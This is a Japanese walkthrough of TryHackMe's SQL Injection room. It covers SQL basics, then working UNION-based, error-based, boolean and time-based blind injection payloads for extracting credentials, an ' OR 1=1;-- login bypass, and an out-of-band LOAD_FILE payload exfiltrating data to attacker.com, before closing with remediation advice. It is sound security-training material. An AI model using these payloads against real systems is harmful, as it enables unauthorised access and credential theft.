☁️

#03 SQL Injection | TryHackMe Walkthrough - Cyber Security Roadmap

に公開

#03 SQL Injection | TryHackMe Walkthrough - Cyber Security Roadmap

Cyber Security Roadmapの一環として、TryHackMeのルーム攻略を記録しています。
答えは書きません。ただ、たどり着く方法は。

🚀 Introduction

今回はこのルームを使用して、SQLインジェクション(SQLi)の脆弱性を検出・悪用する手法を学びます。まずはデータベースの基本を簡単に復習し、その後ターゲットマシンに対して具体的な攻撃手法を実践していきましょう。

どのように攻撃されるかを学ぶことで、どのようにインジェクション攻撃からシステムを守れるかを知ることができます。

🔗Room URL : https://tryhackme.com/room/sqlinjectionlm

✅ Task 1:Brief

SQL(Structured Query Language) は、データベースに対して情報の取得・登録・更新・削除などを行う言語です。Webアプリケーションでは、ユーザーの操作に応じてSQLを使いDB(Data Base)と連携します。

そのやり取りで代表的な脆弱性が、SQLインジェクション です。これは、ユーザーの入力が正しく検証されないままSQLに組み込まれることで発生します。

攻撃者は不正なSQL文を実行でき、個人情報の盗難・改ざん・削除、不正ログインが可能になります。SQLiは古くから知られ、被害も大きいため特に注意が必要です。

✅ Task 2:What is a Database?

データベースとは?

データベースとは、情報を整理して保存する仕組みです。その管理ソフトウェアのことをDBMS(Database Management System) と呼びます。

DBMSには大きく2種類あります:

  • リレーショナルDB(RDB):表形式でデータを管理する(例:MySQL)
  • NoSQL:非リレーショナルなDBつまり自由な形式でデータを管理する(例:MongoDB)

このルームでは、RDBを使用します。

テーブルとは?

RDBでは、データはテーブルに保存されます。

テーブルには、列と行があります。
以下のユーザーの情報を管理するテーブルを例としてみましょう。

ID(主キー) 名前(文字列) 年齢(数値) 登録日(日時)
1 田中 太郎 30 2024-04-01

列(Columns)
列では、ユーザーの名前や年齢などのデータの種類を定義します。
他には、以下のようなこともできます。

  • データ型(文字列・数値・日付など)を設定し、誤ったデータが入らないように制御
  • 「主キー」列を設定し重複しない一意の番号を設定

行(Rows)
行では、実際のデータを1件ずつ保存します。
列の定義に沿った値が保存されることで、データの管理が容易になります。

✅ Task 3:What is SQL?

SQLとは

簡単に言うとSQLは、データベースに対し以下の操作を行う言語です。

  • 取得(SELECT)
  • 挿入(INSERT)
  • 更新(UPDATE)
  • 削除(DELETE)

なお、SQLは大文字・小文字を区別しないため特に意識せず書いても動作します。
ただ、SELECTなどのユーザー定義ではなくSQLが定義しているキーワード(予約語)は大文字で書くことが推奨されています。

SELECT ID, NAME, AGE FROM USERS // × 非推奨
select id, name, age from users // × 非推奨
SELECT id, name, age FROM users // ○ 推奨

SQL構文

先に言っておくとSQLがあまり馴染みのない方は、SQL構文を一字一句覚える必要はないと思います。もちろん覚えて損はありません。ただ、SQLによってどういうことができ、どう調べればいいかを抑えておけば問題ないと思います。例えば、検索エンジンやAIに尋ねるなど調べる方法は色々あります。

個人的なおすすめは、調べたいDBMSの公式リファレンスを読むことです。詳しく厳密に書かれているためわかりにくいと感じることもありますが、網羅的に正確な情報が記載されています。苦しくなったら簡易的に情報が記載されている記事を探しましょう。

🔗 SELECT構文 - MySQL 8.0

データを取得する構文

このルームのチャレンジでは、SELECT、WHERE、LIMIT、LIKEを扱うので抑えておきましょう。

  • SELECT
  • WHERE
  • LIMIT
  • LIKE
-- users テーブルから、username 列の値を取得し、bで始まるユーザー名のみを抽出
SELECT username FROM users WHERE username LIKE 'b%' LIMIT 1;

データの登録・更新・削除

SQLには INSERT(登録)・UPDATE(更新)・DELETE(削除) の構文があります。
これらは、攻撃者の目的によっては、データの改ざんや破壊に利用されることもあります。

例えば、攻撃者は「ユーザーがログインできなくなる」ことを攻撃目標としました。その手段としてSQLiを使ってユーザーのパスワードを、ほとんど推測不能な値に変更することにしました。

-- ユーザーのpasswordを更新
UPDATE users SET password='ugSs3EKRkNMX' WHERE username='bob';

ユーザーbobは、おそらくログインできなくなります。このようにUPDATE句を使うことで、サイトの妨害やユーザーからの信用を失ってしまう可能性があります。これは、登録・削除についても同様です。

-- 攻撃者が偽アカウントを作成
INSERT INTO users (username, password) VALUES ('evil_admin', 'hackme123');

-- 任意のユーザーを勝手に削除
DELETE FROM users WHERE username='bob';

データの結合(UNION)

少し特殊な構文として UNIONも抑えておきましょう。
UNIONは複数の SELECT 文の結果をまとめて、1つの結果セットとして返す構文です。

UNIONを使う際は、以下の点に注意が必要です。

  • SELECT 文の 列数
  • 各列の 順序
  • 各列の データ型の互換性

これらは基本的に一致している必要があります。
ただし、どこまで厳密かはDBMSによって異なります。例えばMySQLは、PostgreSQLほど厳密ではありません。

正常な使い方の例

SELECT name, address FROM customers
UNION
SELECT company, address FROM suppliers;

この例では、customers.namesuppliers.company を同じ列として扱い、結果を結合して返しています。
両方とも文字列型であり、列数も一致しているため、問題なくUNIONが成立します。

攻撃に使われる例

SELECT name, address FROM customers -- 攻撃者にはこのクエリは見えていないとする
UNION
SELECT 1, GROUP_CONCAT(username, password) FROM users; --

このようなSQLは、UNIONベースのSQLインジェクションにおける代表的な手法です。
攻撃者は、元のクエリの出力に自作のデータ(リテラルや関数結果)を混ぜて、画面に内部情報を表示させることを目的としています。

  • 1 は数値リテラルで、MySQLのように型変換に寛容なDBMSでは問題なく通ります
     もし厳格なDBMSでは、文字列型と合わずエラーになるため '1' のように文字列として指定する必要があります
  • GROUP_CONCAT(username, password) は、users テーブルの usernamepassword を結合し、1つの文字列として返す集約関数です。

🔗 GROUP_CONCAT - MySQL 8.0

このような攻撃手法については、今後のタスクで実際に手を動かしながら学んでいきます。

✅ Task 4:What is SQL Injection?

SQLインジェクションとは、ユーザー入力がそのままSQL文に使われることで、意図しない命令が実行されてしまう脆弱性です。

ブログ記事のURLを使った攻撃の例

あるブログ投稿サイトでは、以下のようなURLで投稿されている記事にアクセスすることができます。
想像に過ぎませんが、おそらくこのURLでは、id=1 の値が該当するブログデータを取得しページを表示していると考えられます。

https://website.thm/blog?id=1

また、通常のブログ投稿サイトでは公開・非公開の概念があります。そして、記事にアクセスしたとき必要なデータは1つであることが通常の仕様でしょう。これも想像ですが、実行されるSQL文は、おそらく以下のようになっていると考えられます。

-- IDが1で、非公開でないブログデータを1件だけ取得する
SELECT * FROM blog WHERE id=1 AND private = true LIMIT 1;

これがどのように攻撃者に悪用されるのでしょうか?

先に述べたように、SQLインジェクションはWebアプリケーションがユーザー入力を正しく検証せずにSQL文へ組み込むことで発生します。

たとえば、URLを次のように改ざんしてみます。
https://website.thm/blog?id=2;--

この場合、検証が不十分なシステムでは、以下のようなSQL文が実行されると考えられます。

SELECT * FROM blog WHERE id = 2;-- AND private = true LIMIT 1;

SQLにおいて「;」は文の終了を示し、「--」以降はコメント扱いになります。
その結果、AND private=true LIMIT 1 の部分は無視され、非公開チェックが無効化されてしまいます。つまり、本来は表示されないはずの非公開記事まで取得・表示されてしまうことになります。

これはIn-Band(インバンド)SQLインジェクションと呼ばれ、最も基本的でわかりやすい攻撃手法の一つです。今回はその一例を紹介しましたが、他にも様々なSQLインジェクション手法が存在します。まずは、ユーザーの入力を正しく検証せずにSQLに組み込むことの危険性と、その基本的な仕組みをしっかり理解しておきましょう。続きの演習では、これらを実践的に扱っていきます。

✅ Task 5:In-Band SQLi

いくつかのIn-Band SQLインジェクションを確認していきます。

エラーベースSQLインジェクション

クエリを意図的に壊してデータベースのエラーメッセージを表示させることで、DBの構造を特定できるタイプです。データベース構造を調査するためによく使用されます。

// 意図的に壊してエラーメッセージが表示されるかを確認
SELECT * FROM articles WHERE id = '1''

UNIONベースSQLインジェクション

UNIONを使って別のSELECT結果をページ上に表示させるタイプです。列数、テーブル、列名などを徐々に特定し内部データを取得します。大量のデータを取得するのに有効で、最も一般的な手法です。

// 本来のクエリに結合しstaff_usersテーブルの情報を入手
SELECT id, title, article FROM blogs WHERE id = 0
UNION
SELECT 1,2,group_concat(username,':',password) FROM staff_users;

実践

TryHackMeでターゲットマシンを起動し、さっそくレベル1に取り組んでみましょう。

このレベルでは、記事を掲載する機能を備えたWebサイトがターゲットとなっています。
ページは偽のブラウザーのようになっており、現在は https://website.thm/article?id=1 にアクセスして記事の内容が表示されていることがわかります。

さらに、ページ下部には内部で実行されているSQLクエリが表示されています。通常はこのような情報は表示されませんが、今回の実践演習ではクエリの内容を確認しながら進めることができます。このページの目標は、ユーザー名「Martin」のパスワードを入手し、Answer欄に入力することのようです。

エラーベースSQLインジェクションの探索

エラーベースのSQLインジェクションを発見する鍵は、構文エラーを起こすことです。例えば、SQLでは文字列を '文字列'"文字列" で囲む必要があるため、アポストロフィ(')や引用符(")が閉じられていない状態になるとSQL文が構文エラーになります。

SELECT * FROM articles WHERE id = '1''

このように、'' でクエリが壊れてエラーが発生し、エラーメッセージが返ることでSQLインジェクションの手がかりになります。'" を入力するだけで脆弱性の存在を確認できるため、最も一般的なテスト手法として使用されています。

この脆弱性を悪用し、エラーメッセージからデータベース構造の詳細を調査することが可能です。早速試してみて、脆弱性の存在とエラーメッセージを確認しましょう。

UNIONベースSQLインジェクションの探索

エラーベースSQLインジェクションの探索により、このページには脆弱性があることがわかりました。
では、ユーザー名「Martin」のパスワードを入手していきましょう。

UNIONベースSQLインジェクションの手法でUNION演算子を使って追加の結果を取得できるか試していきます。

まずUNIONが正しく実施されるように、列数の特定を行っていきます。モックブラウザのIDパラメータを次のように設定してみましょう。

1 UNION SELECT 1

この文を実行すると、「UNION SELECT文の列数が元のSELECTクエリと異なる」という意味のエラーメッセージが表示されるはずです。

順番に列数を追加して試してみましょう。
成功するとUNIONは正しく実行され、エラーメッセージは表示されないはずです。

1 UNION SELECT 1,2
・・・
1 UNION SELECT 1,2,3
・・・
1 UNION SELECT 1,2,3,4 

成功しました。
UNIONは実行されたものの、記事が表示されています。これは、このページが最初のクエリ(UNIONより前)の結果を表示しているためです。

SELECT ...... id = 1 UNION SELECT 1,2,3;

しかし、今は記事ではなくのユーザー名「Martin」のパスワードを表示したいため、UNION SELECT 1,2,3の部分を結果として表示させる必要があります。

この動作を回避するために、最初のクエリで結果を返さないようにIDを0に変更します。

0 UNION SELECT 1,2,3

IDが0のデータが存在せず、UNION SELECT 1,2,3の部分を結果として取得できるはずです。
このようにして、返された値を使い、より有用な情報を取得していきます。

次にパスワードを保管するテーブル名を推測するために、まずデータベース名を取得します。
データベース関数database()を使用しましょう。

🔗 DATABASE() - MySQL 8.0

0 UNION SELECT 1,2,database()

データベース名が表示されるはずです。

次に、このデータベース内に存在するテーブル一覧を取得します。

0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = '※データベース名'

🔗 INFORMATION_SCHEMA TABLES テーブル - MySQL 8.0
🔗 GROUP_CONCAT - MySQL 8.0

このクエリでは、group_concat() を使用して複数の行をカンマ区切りの1つの文字列にまとめています。また、information_schemaデータベースを利用して、すべてのテーブル情報にアクセスしています。これにより、2つのテーブルが存在することがわかります。

レベル1ではMartinのパスワードを探すことが目的なので、users関係のテーブルにありそうです。次のクエリでこのテーブルのカラム情報を取得します。

0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = '※テーブル名'

これにより、テーブルには idpasswordusername の3つのカラムが存在することが確認できます。ユーザー名とパスワードの情報を取得します。

0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM ※テーブル名

ここでも group_concat() を利用し、ユーザー名とパスワードを「:」で区切り、HTMLの
` タグを使って見やすく改行します。

これで、Martinのパスワードを入手することができ、質問に答えられるはずです。

✅ Task 6:Blind SQLi - Authentication Bypass

Blind SQLインジェクションは、In-Band SQLインジェクションのように攻撃結果が画面に直接表示されないタイプです。エラーメッセージは非表示になっているものの、インジェクション自体は成功しています。つまり、画面にテーブル構造やエラー内容が表示されなくても、わずかな情報や反応からデータベースを特定できる場合があるということです。

認証バイパス
Blind SQLインジェクションで最も単純なテクニックの一つが、ログインフォームを利用した認証回避です。この場合、データを取得することではなく、ログインを突破することが目的となります。

脆弱なログインフォームでは、ユーザー入力を適切に検証せず、そのままSQLに埋め込んで実行します。この仕組みを逆手に取り、常に「真(true)」を返すクエリを作成すれば、簡単にログインに成功できます。

実践例
以下のようなPHPプログラムを想定します。

<?php
// ユーザー入力
$username = $_POST['username'];
$password = $_POST['password'];

// データベース接続
$conn = new mysqli('localhost', 'user', 'pass', 'test_db');

// ユーザー入力をそのままクエリに埋め込んでいる
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password' LIMIT 1;";
$result = $conn->query($sql);

// 結果が1件以上あればログイン成功
if ($result->num_rows > 0) {
    echo "ログイン成功";
} else {
    echo "ログイン失敗";
}
?>

このプログラムでは、次のようなクエリが実行されます。
%username%%password% にフォームの入力値が代入され、一致するデータを1件返します。取得したデータ件数が0より大きければ、ログイン成功となります。

SELECT * FROM users WHERE username = '%username%' AND password = '%password%' LIMIT 1;

このような場合、Blind SQLインジェクションが成立します。たとえば、次のように入力します。

  • username:空(未入力)
  • password:' OR 1=1;--

これにより、クエリは次のように書き換わります。

$username = '';
$password = '' OR 1=1;-- 

ユーザー入力の最初の ' で文字列リテラルが終了し、その後に OR 1=1;-- が挿入されます。また、-- によって残りのクエリ(閉じクオートや LIMIT 1; など)はコメントアウトされ、無視されます。
最終的に、プログラム内の $sql には次のようなクエリが代入されます。

SELECT * FROM users WHERE username = '' AND password = '' OR 1=1; -- ' LIMIT 1;

この結果、実行される有効なクエリは次の通りです。

SELECT * FROM users WHERE username = '' AND password = '' OR 1=1;

OR 1=1 は常に真となる条件なので、データベースはこのクエリに一致するレコードを返し、ログインが成功します。このようにして、認証を簡単にバイパスできてしまいます。

ここまでを抑えて、レベル2に取り組んでみましょう。

✅ Task 7:Blind SQLi - Boolean Based

BooleanベースSQLインジェクションとは、攻撃結果が「真(true)か偽(false)」の2通りだけ返されるタイプのSQLインジェクションです。
たとえば、画面上の応答が「1か0」「trueかfalse」など二択であり、その応答を手がかりに攻撃の成否を判断します。初見ではあまり情報が得られなそうに思えますが、この2つの反応だけでも、データベース構造や中身を一つ一つ特定することが可能です。

実践

レベル3の演習では、次のようなURLのAPIを使った模擬ブラウザが表示されます:

https://website.thm/checkuser?username=admin

画面には次のようなJSONが表示されています:

{"taken":true}

これは、入力されたユーザー名がすでに登録済みかどうかを返すAPIです。
たとえば username=admin123 に変更すると、{"taken":false} と表示されます。つまり、このAPIの応答の「true/false」を利用してSQLインジェクションの結果を判断できるわけです。

実際に動いているSQLは以下のような形式です:

SELECT * FROM users WHERE username = '%username%' LIMIT 1;

ステップ1:カラム数を特定する

まず、UNION SELECT を使って列数を推測します。

admin123' UNION SELECT 1;--  
→ taken: false (カラム数が合っていない)

admin123' UNION SELECT 1,2,3;--  
→ taken: true (カラム数は3つ)

ステップ2:データベース名の特定

次に、現在使用中のデータベース名を特定します。

admin123' UNION SELECT 1,2,3 WHERE database() LIKE '%';--  
→ true(ワイルドカード `%` に一致)

admin123' UNION SELECT 1,2,3 WHERE database() LIKE 's%';--  true`s` で始まる)

このように1文字ずつ調べていき、データベース名を突き止めます。

ステップ3:テーブル名の特定

次は、information_schema.tables からテーブル名を特定します。

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema='※テーブル名' AND table_name LIKE 'u%';--  

ステップ4:カラム名の特定

次に、information_schema.columns を使って 特定したテーブルのカラムを調べます。

admin123' UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema='※データベース名' AND table_name='※テーブル名' AND column_name LIKE 'i%';--  true`id` カラムを発見)

すでに見つけたカラム名は除外しながら、繰り返し調査します:

... AND column_name != 'id'

最終的に、3つのカラム名を特定します。

ステップ5:ユーザー名とパスワードを特定

次に、特定したテーブルからユーザー名を調べます。

admin123' UNION SELECT 1,2,3 FROM users WHERE ユーザー名のカラム LIKE 'a%';--  

確認できたら、次はそのパスワードを特定します。

admin123' UNION SELECT 1,2,3 FROM users WHERE username='※確認したユーザー名' AND password LIKE '3%';--  
→ 文字を1つずつ試して、`3xxx` を特定

✅ Task 8:Blind SQLi - Time Based

Time-Based SQLインジェクションは、Booleanベースと似たBlind SQLインジェクションの一種です。
ただし、結果が「true/false」で返るのではなく、応答時間(タイムラグ)によってクエリの成否を判断するのが特徴です。

クエリが正しく実行されたときだけ、SLEEP(秒数) を使って意図的に遅延させます。これにより、時間がかかった=成功、時間がかからなかった=失敗、と判定できます。

カラム数の調査

まず、テーブルのカラム数を調べるときは、次のように試します

admin123' UNION SELECT SLEEP(5);--

→ 応答がすぐ返ってくるなら失敗(カラム数が合っていない)

admin123' UNION SELECT SLEEP(5),2;--

→ 応答に5秒かかれば成功(カラム数が2であることが分かる)

このようにして、Booleanベースと同じ手順で情報を絞り込んでいくことができますが、判定材料が画面上の見た目ではなく「時間」 という点だけが異なります。

例:データベース名の推測

たとえば、データベース名が「u」で始まるかどうかを確認したいときは、次のように書きます:

referrer=admin123' UNION SELECT SLEEP(5),2 WHERE database() LIKE 'u%';--

→ 応答に5秒かかれば、「u」で始まるデータベース名が存在するということになります。

実践

BooleanベースのSQLiで行った手順を参考に実践してみましょう。

✅ Task 9:Out-of-Band SQLi

Out-of-Band(OOB)SQLインジェクションは、他のタイプに比べて発生頻度が低い手法です。
これは、データベース側で特定の機能が有効である必要があるか、Webアプリケーションの処理ロジックがSQL結果を元に外部通信を行う設計になっているといった、限られた条件下でのみ成立するためです。
通常のホスティング環境ではこれらの機能は無効化されていることが多く、実際の攻撃事例は少数にとどまります。

この手法の特徴は、攻撃に使用するチャネルと、結果を受け取るチャネルが分かれている点です。
たとえば、攻撃は通常のWebリクエストで送信し、結果の取得は攻撃者が用意したサーバーへのHTTPやDNS通信を通じて行われます。

攻撃の流れ

  1. 攻撃者がSQLインジェクションのペイロードを含むリクエストをWebアプリに送信
  2. Webアプリがそのリクエストを元にデータベースへクエリを発行し、ペイロードが実行される
  3. ペイロードによって、データベースが攻撃者のサーバーへDNSやHTTPリクエストを送信し、機密情報が漏洩する

実例:MySQL + DNSを用いたOut-of-Band攻撃

攻撃者はまず、DNSログを確認できる自身のドメイン(例:attacker.com)を用意します。
次に、脆弱なWebアプリケーションに以下のようなSQLインジェクションペイロードを送信します(MySQLで LOAD_FILE() 関数が有効であることが前提です)。

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.com\\test.txt'));

このクエリでは、\\\\ を使って UNCパス(Windowsのネットワークパス) を構築しています。
たとえば、現在のデータベース名が sqli_dbname の場合、以下のようなリクエストになります:

\\sqli_dbname.attacker.com\test.txt

MySQLがこのパスを読み込もうとすることで、OSが自動的に attacker.com に対してDNSリクエストを送信します。
攻撃者はこのDNSリクエストを自分のサーバーで監視することで、データベース名(この例では sqli_dbname)を外部に取り出すことができます。

このように、画面上やレスポンスに何も表示されなくても、ネットワーク経由で情報が漏洩するのがOut-of-Band型SQLインジェクションの特徴です。

✅ Task 10:Remediation

SQLインジェクションはとても危険な脆弱性ですが、以下の方法を使うことで防ぐことができます。

1. プリペアドステートメントを使う

開発者はまずSQLの構文を決めておき、ユーザーの入力はあとから「値」として渡します。
これにより、ユーザーの入力がSQLの命令として認識されることがなくなります。
コードも見やすく、安全になります。

2. 入力値の検証(Input Validation)

ユーザーからの入力が、あらかじめ決められた形式・値だけに限定されるようにします。
たとえば「ひらがなだけ」や「英数字のみ」などのルールを決めておくことで、悪意ある入力を防げます。

3. エスケープ処理(Escaping User Input)

シングルクォート ' や ダブルクォート "、バックスラッシュ \ などの特別な意味を持つ文字が入力されたときに、それらの前に \ をつけて「ただの文字列」として扱うようにします。
これにより、意図しないSQL命令として動いてしまうのを防ぎます。

これら3つの対策を組み合わせることで、SQLインジェクションのリスクを大きく減らすことができます。

Congratulations on completing SQL Injection!!! 🎉

Discussion